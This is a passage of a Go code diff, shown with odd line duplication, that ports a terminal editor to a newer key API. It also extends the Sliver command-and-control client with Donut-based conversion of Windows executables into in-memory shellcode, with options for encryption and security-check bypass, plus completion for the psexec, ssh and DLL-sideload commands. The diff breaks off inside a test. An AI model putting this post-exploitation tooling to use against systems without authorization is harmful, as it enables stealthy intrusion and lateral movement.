if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
m.width = w
|
m.width = w
|
||||||
@@ -152,19 +156,33 @@ func (m *editorModel) View() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if m.height < 2 {
|
if m.height < 2 {
|
||||||
return b.String()
|
return editorView(b.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
b.WriteByte('\n')
|
b.WriteByte('\n')
|
||||||
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
|
b.WriteString(renderStatusBar(m.width, m.statusLine()))
|
||||||
|
|
||||||
if m.height < 3 {
|
if m.height < 3 {
|
||||||
return b.String()
|
return editorView(b.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
b.WriteByte('\n')
|
b.WriteByte('\n')
|
||||||
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
||||||
return b.String()
|
return editorView(b.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderStatusBar(width int, text string) string {
|
||||||
|
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderCursorCell(cell string) string {
|
||||||
|
return ansiReverseOn + cell + ansiReverseOff
|
||||||
|
}
|
||||||
|
|
||||||
|
func editorView(content string) tea.View {
|
||||||
|
v := tea.NewView(content)
|
||||||
|
v.AltScreen = true
|
||||||
|
return v
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) result() editorResult {
|
func (m *editorModel) result() editorResult {
|
||||||
@@ -176,8 +194,8 @@ func (m *editorModel) result() editorResult {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
m.command = ""
|
m.command = ""
|
||||||
@@ -196,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
}
|
}
|
||||||
case tea.KeyBackspace:
|
case tea.KeyBackspace:
|
||||||
m.command = popRune(m.command)
|
m.command = popRune(m.command)
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
m.command += string(msg.Runes)
|
if key.Text != "" {
|
||||||
|
m.command += key.Text
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleInsert(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
case tea.KeyEnter:
|
case tea.KeyEnter:
|
||||||
@@ -222,8 +242,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
m.moveDown()
|
m.moveDown()
|
||||||
case tea.KeyTab:
|
case tea.KeyTab:
|
||||||
m.insertRune('\t')
|
m.insertRune('\t')
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
m.insertRune(r)
|
m.insertRune(r)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -231,8 +251,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.pending = 0
|
m.pending = 0
|
||||||
case tea.KeyLeft:
|
case tea.KeyLeft:
|
||||||
@@ -243,8 +263,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
m.moveUp()
|
m.moveUp()
|
||||||
case tea.KeyDown:
|
case tea.KeyDown:
|
||||||
m.moveDown()
|
m.moveDown()
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
if m.handleNormalRune(r) {
|
if m.handleNormalRune(r) {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -409,9 +429,9 @@ func (m *editorModel) renderLine(index int) string {
|
|||||||
if cursor >= start && cursor <= start+contentWidth {
|
if cursor >= start && cursor <= start+contentWidth {
|
||||||
rel := cursor - start
|
rel := cursor - start
|
||||||
if rel < len(visible) {
|
if rel < len(visible) {
|
||||||
lineText = string(visible[:rel]) + cursorStyle.Render(string(visible[rel])) + string(visible[rel+1:])
|
lineText = string(visible[:rel]) + renderCursorCell(string(visible[rel])) + string(visible[rel+1:])
|
||||||
} else {
|
} else {
|
||||||
lineText = string(visible) + cursorStyle.Render(" ")
|
lineText = string(visible) + renderCursorCell(" ")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -917,11 +937,11 @@ func (m *editorModel) applyCursor(rendered, highlighted string, line []rune, sta
|
|||||||
}
|
}
|
||||||
if cursor == len(line) {
|
if cursor == len(line) {
|
||||||
left := ansi.Cut(highlighted, start, cursor)
|
left := ansi.Cut(highlighted, start, cursor)
|
||||||
return left + cursorStyle.Render(" ")
|
return left + renderCursorCell(" ")
|
||||||
}
|
}
|
||||||
left := ansi.Cut(highlighted, start, cursor)
|
left := ansi.Cut(highlighted, start, cursor)
|
||||||
right := ansi.Cut(highlighted, cursor+1, end)
|
right := ansi.Cut(highlighted, cursor+1, end)
|
||||||
return left + cursorStyle.Render(string(line[cursor])) + right
|
return left + renderCursorCell(string(line[cursor])) + right
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) executeSearch(pattern string) {
|
func (m *editorModel) executeSearch(pattern string) {
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package exec
|
package exec
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/generate"
|
"github.com/bishopfox/sliver/client/command/generate"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
@@ -33,7 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||||
f.Bool("env-inheritance", true, "inherit environment variables from the current process")
|
f.Bool("env-inheritance", false, "inherit environment variables from the current process")
|
||||||
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
|
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
|
||||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||||
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
|
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
|
||||||
@@ -93,6 +94,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
|
|
||||||
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
|
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
|
||||||
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
|
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(executeAssemblyCmd, 0)
|
||||||
|
|
||||||
executeShellcodeCmd := &cobra.Command{
|
executeShellcodeCmd := &cobra.Command{
|
||||||
Use: consts.ExecuteShellcodeStr,
|
Use: consts.ExecuteShellcodeStr,
|
||||||
@@ -112,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
|
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
|
||||||
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||||
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||||
|
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
|
||||||
|
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
|
||||||
|
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
|
||||||
|
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
|
||||||
|
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
|
||||||
|
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
|
||||||
|
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
|
||||||
|
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
|
||||||
|
|
||||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
})
|
})
|
||||||
@@ -119,6 +129,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
||||||
})
|
})
|
||||||
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
|
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(executeShellcodeCmd, 0)
|
||||||
|
|
||||||
sideloadCmd := &cobra.Command{
|
sideloadCmd := &cobra.Command{
|
||||||
Use: consts.SideloadStr,
|
Use: consts.SideloadStr,
|
||||||
@@ -147,6 +158,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
|
|
||||||
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
|
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
|
||||||
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
|
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(sideloadCmd, 0)
|
||||||
|
|
||||||
spawnDllCmd := &cobra.Command{
|
spawnDllCmd := &cobra.Command{
|
||||||
Use: consts.SpawnDllStr,
|
Use: consts.SpawnDllStr,
|
||||||
@@ -175,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
|
|
||||||
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
|
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
|
||||||
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
|
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(spawnDllCmd, 0)
|
||||||
|
|
||||||
migrateCmd := &cobra.Command{
|
migrateCmd := &cobra.Command{
|
||||||
Use: consts.MigrateStr,
|
Use: consts.MigrateStr,
|
||||||
@@ -260,6 +273,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["custom-exe"] = carapace.ActionFiles()
|
(*comp)["custom-exe"] = carapace.ActionFiles()
|
||||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(psExecCmd, "custom-exe")
|
||||||
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
|
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
|
||||||
|
|
||||||
sshCmd := &cobra.Command{
|
sshCmd := &cobra.Command{
|
||||||
@@ -290,6 +304,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["private-key"] = carapace.ActionFiles()
|
(*comp)["private-key"] = carapace.ActionFiles()
|
||||||
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
|
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(sshCmd, "private-key", "kerberos-keytab")
|
||||||
|
|
||||||
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
|
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
|
||||||
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
|
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
|
||||||
|
|||||||
@@ -20,27 +20,44 @@ package exec
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bufio"
|
"bufio"
|
||||||
|
"bytes"
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/Binject/debug/pe"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/client/core"
|
"github.com/bishopfox/sliver/client/core"
|
||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
|
wasmdonut "github.com/sliverarmory/wasm-donut"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
|
||||||
|
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
|
||||||
|
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
|
||||||
|
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
|
||||||
|
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
|
||||||
|
imageFileDLLMask = 0x2000
|
||||||
|
)
|
||||||
|
|
||||||
// ExecuteShellcodeCmd - Execute shellcode in-memory.
|
// ExecuteShellcodeCmd - Execute shellcode in-memory.
|
||||||
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
session, beacon := con.ActiveTarget.GetInteractive()
|
session, beacon := con.ActiveTarget.GetInteractive()
|
||||||
if session == nil && beacon == nil {
|
if session == nil && beacon == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
targetName := activeTargetName(session, beacon)
|
||||||
|
targetOS := activeTargetOS(session, beacon)
|
||||||
|
targetArch := activeTargetArch(session, beacon)
|
||||||
|
|
||||||
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
||||||
interactive, _ := cmd.Flags().GetBool("interactive")
|
interactive, _ := cmd.Flags().GetBool("interactive")
|
||||||
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
|||||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
|
||||||
|
if shouldConvertPE {
|
||||||
|
if targetOS != "windows" {
|
||||||
|
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
con.PrintInfof("Converting PE input to shellcode ...\n")
|
||||||
|
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
||||||
if shikataGaNai {
|
if shikataGaNai {
|
||||||
if !rwxPages {
|
if !rwxPages {
|
||||||
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
ctrl := make(chan bool)
|
ctrl := make(chan bool)
|
||||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
|
||||||
con.SpinUntil(msg, ctrl)
|
con.SpinUntil(msg, ctrl)
|
||||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||||
Data: shellcodeBin,
|
Data: shellcodeBin,
|
||||||
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
|
||||||
|
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||||
|
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
|
||||||
|
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
|
||||||
|
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
|
||||||
|
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
|
||||||
|
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
|
||||||
|
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
|
||||||
|
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
|
||||||
|
|
||||||
|
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||||
|
cmd.Flags().Changed("shellcode-compress") ||
|
||||||
|
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||||
|
cmd.Flags().Changed("shellcode-bypass") ||
|
||||||
|
cmd.Flags().Changed("shellcode-headers") ||
|
||||||
|
cmd.Flags().Changed("shellcode-thread") ||
|
||||||
|
cmd.Flags().Changed("shellcode-unicode") ||
|
||||||
|
cmd.Flags().Changed("shellcode-oep")
|
||||||
|
|
||||||
|
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
|
||||||
|
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
|
||||||
|
}
|
||||||
|
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
|
||||||
|
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
|
||||||
|
}
|
||||||
|
if shellcodeBypass < 1 || shellcodeBypass > 3 {
|
||||||
|
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
|
||||||
|
}
|
||||||
|
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
|
||||||
|
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
|
||||||
|
}
|
||||||
|
|
||||||
|
shellcodeCompress := uint32(1)
|
||||||
|
if shellcodeCompressEnabled {
|
||||||
|
shellcodeCompress = 2
|
||||||
|
}
|
||||||
|
|
||||||
|
return &clientpb.ShellcodeConfig{
|
||||||
|
Entropy: shellcodeEntropy,
|
||||||
|
Compress: shellcodeCompress,
|
||||||
|
ExitOpt: shellcodeExitOpt,
|
||||||
|
Bypass: shellcodeBypass,
|
||||||
|
Headers: shellcodeHeaders,
|
||||||
|
Thread: shellcodeThread,
|
||||||
|
Unicode: shellcodeUnicode,
|
||||||
|
OEP: shellcodeOEP,
|
||||||
|
}, anyChanged, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
|
||||||
|
ext := strings.ToLower(filepath.Ext(shellcodePath))
|
||||||
|
isPEByExt := ext == ".exe" || ext == ".dll"
|
||||||
|
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
|
||||||
|
}
|
||||||
|
|
||||||
|
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||||
|
if session != nil {
|
||||||
|
return session.GetName()
|
||||||
|
}
|
||||||
|
if beacon != nil {
|
||||||
|
return beacon.GetName()
|
||||||
|
}
|
||||||
|
return "target"
|
||||||
|
}
|
||||||
|
|
||||||
|
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||||
|
if session != nil {
|
||||||
|
return strings.ToLower(session.GetOS())
|
||||||
|
}
|
||||||
|
if beacon != nil {
|
||||||
|
return strings.ToLower(beacon.GetOS())
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||||
|
if session != nil {
|
||||||
|
return session.GetArch()
|
||||||
|
}
|
||||||
|
if beacon != nil {
|
||||||
|
return beacon.GetArch()
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
type executeShellcodeDonutOptions struct {
|
||||||
|
entropy int
|
||||||
|
compress int
|
||||||
|
exitOpt int
|
||||||
|
bypass int
|
||||||
|
headers int
|
||||||
|
thread bool
|
||||||
|
unicode bool
|
||||||
|
oep uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
|
||||||
|
opts := executeShellcodeDonutOptions{
|
||||||
|
entropy: defaultExecuteShellcodeDonutEntropy,
|
||||||
|
compress: defaultExecuteShellcodeDonutCompress,
|
||||||
|
exitOpt: defaultExecuteShellcodeDonutExitOpt,
|
||||||
|
bypass: defaultExecuteShellcodeDonutBypass,
|
||||||
|
headers: defaultExecuteShellcodeDonutHeaders,
|
||||||
|
}
|
||||||
|
if config == nil {
|
||||||
|
return opts
|
||||||
|
}
|
||||||
|
if config.Entropy >= 1 && config.Entropy <= 3 {
|
||||||
|
opts.entropy = int(config.Entropy)
|
||||||
|
}
|
||||||
|
if config.Compress >= 1 && config.Compress <= 2 {
|
||||||
|
opts.compress = int(config.Compress)
|
||||||
|
}
|
||||||
|
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
|
||||||
|
opts.exitOpt = int(config.ExitOpt)
|
||||||
|
}
|
||||||
|
if config.Bypass >= 1 && config.Bypass <= 3 {
|
||||||
|
opts.bypass = int(config.Bypass)
|
||||||
|
}
|
||||||
|
if config.Headers >= 1 && config.Headers <= 2 {
|
||||||
|
opts.headers = int(config.Headers)
|
||||||
|
}
|
||||||
|
opts.thread = config.Thread
|
||||||
|
opts.unicode = config.Unicode
|
||||||
|
if config.OEP > 0 {
|
||||||
|
opts.oep = config.OEP
|
||||||
|
}
|
||||||
|
return opts
|
||||||
|
}
|
||||||
|
|
||||||
|
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
|
||||||
|
peFile, err := pe.NewFile(bytes.NewReader(data))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
|
||||||
|
ext := ".exe"
|
||||||
|
if isDLL {
|
||||||
|
ext = ".dll"
|
||||||
|
}
|
||||||
|
opts := normalizeExecuteShellcodeDonutConfig(config)
|
||||||
|
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
|
||||||
|
Ext: ext,
|
||||||
|
Arch: getExecuteShellcodeDonutArch(arch),
|
||||||
|
Bypass: opts.bypass,
|
||||||
|
Headers: opts.headers,
|
||||||
|
Entropy: opts.entropy,
|
||||||
|
Compress: opts.compress,
|
||||||
|
ExitOpt: opts.exitOpt,
|
||||||
|
Thread: opts.thread,
|
||||||
|
Unicode: opts.unicode,
|
||||||
|
OEP: opts.oep,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return addExecuteShellcodeStackCheck(result.Loader), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getExecuteShellcodeDonutArch(arch string) int {
|
||||||
|
donutArch := wasmdonut.DonutArchX84
|
||||||
|
switch strings.ToLower(arch) {
|
||||||
|
case "x32", "x86", "386":
|
||||||
|
donutArch = wasmdonut.DonutArchX86
|
||||||
|
case "x64", "amd64":
|
||||||
|
donutArch = wasmdonut.DonutArchX64
|
||||||
|
case "x84":
|
||||||
|
donutArch = wasmdonut.DonutArchX84
|
||||||
|
}
|
||||||
|
return donutArch
|
||||||
|
}
|
||||||
|
|
||||||
|
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
|
||||||
|
stackCheckPrologue := []byte{
|
||||||
|
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
|
||||||
|
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
|
||||||
|
}
|
||||||
|
return append(stackCheckPrologue, shellcode...)
|
||||||
|
}
|
||||||
|
|
||||||
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
|
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
|
||||||
// Check active session
|
// Check active session
|
||||||
session := con.ActiveTarget.GetSessionInteractive()
|
session := con.ActiveTarget.GetSessionInteractive()
|
||||||
|
|||||||
@@ -0,0 +1,100 @@
|
|||||||
|
package exec
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
|
||||||
|
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||||
|
|
||||||
|
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||||
|
}
|
||||||
|
if changed {
|
||||||
|
t.Fatalf("expected changed=false with defaults")
|
||||||
|
}
|
||||||
|
if cfg == nil {
|
||||||
|
t.Fatalf("expected non-nil config")
|
||||||
|
}
|
||||||
|
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
|
||||||
|
t.Fatalf("unexpected defaults: %+v", cfg)
|
||||||
